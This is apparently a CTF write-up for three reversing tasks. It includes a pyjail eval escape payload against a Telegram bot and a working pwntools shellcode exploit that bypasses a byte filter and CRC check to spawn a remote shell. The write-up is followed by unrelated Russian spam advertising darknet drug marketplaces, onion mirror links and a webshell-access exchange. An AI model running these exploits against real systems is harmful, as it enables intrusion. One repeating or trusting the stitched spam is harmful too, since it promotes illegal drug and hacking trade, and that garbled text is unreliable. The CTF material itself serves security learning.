This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.Reverse 100:#include <stdio.h>#include <string.h>int main() { char buf[64]; gets(buf); int l = strlen(buf); if (l * l!= 144) return 1; unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16); unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16); unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16); unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16); if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059)))) return 2; if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) return 5; printf("Congratulations %s is flag\n",buf); return 0;}First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.Reverse 200: This is a.pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc. After decompil, you should get something like this# Source Generated with Decompyle++# File: rev200_bot_7b541a1.pyc (Python 2.7)import configimport tracebackimport refrom base64 import *from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHidesec_state = { }def process_message(bot, u):Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } com cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token)bot.update_bot_info().wait()print bot.usernamelast_update_id = 0while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue So this is a kind of chat-bot server based on Telegram. There is eval function inside, bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9). First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;#coding: utf-8sec_state = { }user = "A"sec_state[user] = {'mode': 15,'stage': 7 } # bruteforce numbersec_state[user]['mode'] = 15r = []while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: breakprint sec_state[user]['mode']Next, this is a pyjail, so I can't execute normal python command... So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`Reverse 300: Let's get some fun.let reverse this (or not?), look at handler (the main function)ssize_t __cdecl онион handler(int fd){ ssize_t result; // [email protected] unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result = recv(fd, &buf, 4u, 0); v3 = result; if ( result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if (!(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result;}So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE 2. Make a great shellcode and Bypass filter. By search google for everything, the answer for problem 1 is force-crc32. Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once. Basicaly, I import pwns and let pwntools do the rest;from pwn import *import socket, struct, telnetlibdef getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1), 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return datadef crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffffd = ""d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))# i need dup2 because the program use itself as serverd += asm(pwnlib.shellcraft.i386.linux.sh())fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')print len(fsc)fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.print hex(crc32(fsc))#yes, i love my custom socket lib 🙁s = socket.create_connection(("78.46.101.237", 3177))s.send(p32(len(fsc)))s.send(fsc)s.send("\n")s.send("cat flag*\n") print s.recv(1024)To be continued....Related
Этот сайт упоминается в сервисе микроблогов Twitter 0 раз. В этом видео мы рассмотрим основной на сегодняшний день маркетплейс- Mega Darknet Market). IP адрес сервера: Имя сервера: apache/2.2.22 Расположение сервера: Saint Petersburg 66 в Russian Federation Кодировка: UTF-8 Расположение сервера Сервер обслуживающий этот сайт географически расположен: Saint Petersburg 66 в Russian Federation IP адрес сайта. Yandex проиндексировал 5 страниц. Onion/ - Dream Market европейская площадка по продаже, медикаментов, документов. Им кажется, что они вправе решать за всех. На протяжении вот уже четырех лет многие продавцы заслужили огромный авторитет на тёмном рынке. Всё больше людей пытаются избавиться от «отеческой заботы» чиновников от государства и хотят реализовать своё конституционное право самостоятельно решать, куда ходить, что выбирать, куда смотреть и что делать. Многие из них не так эффективны, как хотелось. С другой стороны, у него есть версии для iOS, Android, PC и Mac: последние две очень простые в использовании. Зеркало это такая же обычная ссылка, просто она предназначена для того чтобы получить доступ к ресурсу, то есть обойти запрет, ну, в том случае, если основная ссылка заблокирована теми самыми дядьками в погонах. Площадка ОМГ ОМГ работает день и ночь, без выходных, на этой площадке не бывает дефицита товаров, так как продавцы не допускают опустошения резервов, всё время во всех городах доступно любое желаемое вещество. Но может работать и с отключенным. Почему именно mega darknet market? Если же данная ссылка будет заблокированная, то вы всегда можете использовать приватные мосты от The Tor Project, который с абсолютной точностью обойдет блокировку в любой стране. Этот адрес содержал слово tokamak (очевидно, отсыл к токамаку сложное устройство, применяемое для термоядерного синтеза). Opera, Mozilla и некоторых других. Выбирайте любой понравившийся вам сайт, не останавливайтесь только на одном. Способ 1: Через TOR браузер Наиболее безопасный и эффективный способ для доступа к луковым сетям. Onion - Acropolis некая зарубежная торговая площадочка, описания собственно и нет, пробуйте, отписывайтесь. Цели взлома грубой силой. Главный минус TunnelBear цена. В статье делаю обзорную экскурсию по облачному хранилищу - как загружать и делиться. Onion - PekarMarket Сервис работает как биржа для покупки и продажи доступов к сайтам (webshells) с возможностью выбора по большому числу параметров. У них нет реального доменного имени или IP адреса. Это больная тема в тёмном бизнесе. Зато, в отличие от Onion, TunnelBear позволяет прикинуться пользователем другой страны и воспользоваться услугами, скажем, сервиса Netflix. И Tor появляется. Все первоначальные конфигурации настраиваются в автоматическом режиме). Правильное названия Рабочие ссылки на Мегу Главный сайт Перейти на mega Официальное зеркало Зеркало Мега Альтернативное зеркало Мега вход Площадка Мега Даркнет mega это каталог с продавцами, маркетплейс магазинов с товарами специфического назначения. Со Мишенью обычных пользователей реализовать вход в Гидру это способ защитить для себя кроме того личный трафик совсем никак не только лишь зеркала Гидры, но кроме того со провайдеров. Внимание! Различные полезные статьи и ссылки на тему криптографии и анонимности в сети. Спешим обрадовать, Рокс Казино приглашает вас играть в слоты онлайн на ярком официальном сайте игрового клуба, только лучшие игровые автоматы в Rox Casino на деньги. В этой Википедии вы найдете все необходимые вам ссылки для доступа к необходимым вам, заблокированным или запрещённым сайтам. Проект создан при поддержке форума RuTor. Пока не забыл сразу расскажу один подозрительный для меня факт про ramp marketplace. W3.org На этом сайте найдено 0 ошибки. В октябре 2021. Onion - Checker простенький сервис проверки доступности.onion URLов, проект от админчика Годнотабы. Сохраните где-нибудь у себя в заметках данную ссылку, чтобы иметь быстрый доступ к ней и не потерять. Фильтр товаров, личные сообщения, форум и многое другое за исключением игры в рулетку.
Новая интернет-площадка mega по продаже веществ запрещённых на территории. Программа hydra поддерживает огромное количество служб, благодаря своей быстроте и надёжности она завоевала заслуженную признательность среди тестеров. поможет вам защититься от "анализа потока данных" разновидности сетевого надзора. Подходят для ВКонтакте, Facebook и других сайтов. 9 часов. Автор: Полина Коротыч. Оставите жалобу на если вас обманули на гидре. Мега официальный магазин в сети. Возвращаемся к вам со сводкой новостей от команды разработчиков. 7/10 (52 голосов) - Search бесплатно. 2 дня. Размер:. Авторы расширения отдельно отмечают, что при его использовании не теряется скорость. Доступ к darknet с телефона или ПК давно уже не новость. Пока пополнение картами и другими привычными всеми способами пополнения не работают, стоит смириться с фактом присутствия нюансов работы криптовалют, в частности Биткоин. Сообщения, анонимные ящики (коммуникации). Megazip это интернет-магазин для заказа оригинальных запчастей и аксессуаров на японские автомобили, мотоциклы и другую технику Suzuki, Yamaha, Honda, Kawasaki Toyota. Администрация открыто выступает против распространения детской порнографии. Не открывается сайт, не грузится,. Имеет оценку репутации из 100. ОМГ ОМГ - это самый большой интернет - магазин запрещенных веществ, основанный на крипто валюте, который обслуживает всех пользователей СНГ пространства. Godnotaba дает объективную оценку. Как на сайт онион 2021. Есть у кого мануал или инфа, как сделать такого бота наркоту продавать не собираюсь чисто наебывать. Каталог /cc/. Как зайти на сайт онион. Здесь. Qubesos4rrrrz6n4.onion - QubesOS,.onion-зеркало проекта QubesOS. Даже на расстоянии мы находим способы оставаться рядом. По. Изредка по отношению к некоторым вещам это желание вполне оправдано и справедливо, однако чаще всего - нет. Если Вы приобрели нашу продукцию на, то у Вас есть возможность получить бонус в размере 100 рублей на баланс Вашего мобильного номера телефона! По предположению журналистов «Ленты главный администратор ramp, известный под ником Stereotype, зная о готовящемся аресте серверов BTC-e, ликвидировал площадку и сбежал с деньгами. Стабильная многопрофильная компания. Загружайте свои видео, подписывайтесь на каналы и ставьте лайки: так мы поймём, что вам нравится,. Именно благодаря этому, благодаря доверию покупателей,а так же работе профессиональной администрации Меге, сайт всё время движется только вперёд! Низкие цены, удобный поиск, широкая география полетов по всему миру. Обратные ссылки являются одним из важнейших факторов, влияющих на популярность сайта и его место в результатах поисковых систем. Сохраните где-нибудь у себя в заметках данную ссылку, чтобы иметь быстрый доступ к ней и не потерять. Во-вторых, плагин часто превращает вёрстку заблокированных страниц в месиво и сам по себе выглядит неопрятно. Здесь вы найдете всё для ремонта квартиры, строительства загородного дома и обустройства сада. Макаренко) ЖК «Времена года» (ул. Читайте также: Очистка мака от ненужных файлов. Им кажется, что они вправе решать за всех. Пополнение баланса происходит так же как и на прежнем сайте, посредством покупки биткоинов и переводом их на свой кошелек в личном кабинете. OmiseGO общественная финансовая технология, построенная на базе сети Ethereum, представляющая возможность обменивать токен на фиатные деньги в обычных. У них нет реального доменного имени или IP адреса.
Населен русскоязычным аноном после продажи сосача мэйлру. Просмотр. На создание проекта, как утверждал Darkside в интервью журналу. Разное/Интересное Разное/Интересное checker5oepkabqu. Именно благодаря этому, благодаря доверию покупателей,а так же работе профессиональной администрации Меге, сайт всё время движется только вперёд! UPD: похоже сервис умер. Наконец-то нашёл официальную страничку Mega. Наберитесь терпения и разработайте 100-150 идей для своего проекта. Можно утверждать сайт надежный и безопасный. Адрес ОМГ ОМГ ОМГ это интернет площадка всевозможных товаров, на строго определенную тематику. Этот сайт упоминается в онлайн доске заметок Pinterest 0 раз. По предположению журналистов «Ленты главный администратор ramp, известный под ником Stereotype, зная о готовящемся аресте серверов BTC-e, ликвидировал площадку и сбежал с деньгами. Самый удобный способ отслеживать актуальные изменения - делать это на этой странице. Так же, после этого мы можем найти остальные способы фильтрации: по максимуму или минимуму цен, по количеству желаемого товара, например, если вы желаете крупный или мелкий опт, а так же вы можете фильтровать рейтинги магазина, тем самым выбрать лучший или худший в списке. Топчик зарубежного дарквеба. Доврачебная помощь при передозировке и тактика работы сотрудников скорой. GoosO_o Сегодня Норма VladiminaTOR Вчера Мега супер, сегодня с парнями скинулись на стафчик и взяли сразу побольше, спасибо за зеркала! Onion - Onion Недорогой и секурный луковый хостинг, можно сразу купить onion домен. Onion mega Market ссылка Какие новые веяния по оплате есть на Мега: Разработчики Белгорода выпустили свой кошелек безопасности на каждую транзакцию биткоина. Напоминает slack 7qzmtqy2itl7dwuu. Перейти можно по кнопке ниже: Перейти на Mega Что такое Мега Mega - торговая платформа, доступная в сети Tor с 2022 года. Среди аналогов Proxyweb и Hide My Ass. TJournal попробовал самые популярные средства обхода блокировок и нашёл среди них версии «для чайников» в которых всё работает сразу, без настроек. Без воды. Каталог рабочих онион сайтов (ру/англ) Шёл уже 2017й год, многие онион сайты перестали функционировать и стало сложнее искать рабочие, поэтому составил. И все же лидирует по анонимности киви кошелек, его можно оформить на левый кошелек и дроп. Кто чем вместо теперь пользуется? Сеть Интернет-Интернет-Браузер Tor бесплатная, выявленная кроме того некоммерческий план, то что дает пользователям незнакомый доступ в линия сеть интернет. Ссылку нашёл на клочке бумаги, лежавшем на скамейке. IP адрес вебсайта который хостится у State Institute of Information Technologies and Te, географически сервер расположен в Saint Petersburg 66 в Russian Federation. Сайт ОМГ дорожит своей репутацией и не подпускает аферистов и обманщиков на свой рынок. Робот? Чтоб проверить наличие спама именно в вашем городе или районе - необходимо перейти на сайт и выбрать нужные геопозиции нахождения. Каталог голосовых и чатботов, AI- и ML-сервисов, платформ для создания, инструментов.возврата средств /фальш/ дейтинг и все что запрещено Законами Украины. Зеркало сайта z pekarmarkfovqvlm. Социальные кнопки для Joomla Назад Вперёд. Клёво12 Плохо Рейтинг.68 49 Голоса (ов) Рейтинг: 5 / 5 Данная тема заблокирована по претензии (жалобе) от третих лиц хостинг провайдеру.
72 сделок795 лайков
0 сделок50 лайк
17 сделок98 лайк
17 сделок57 лайк
19 сделок83 лайк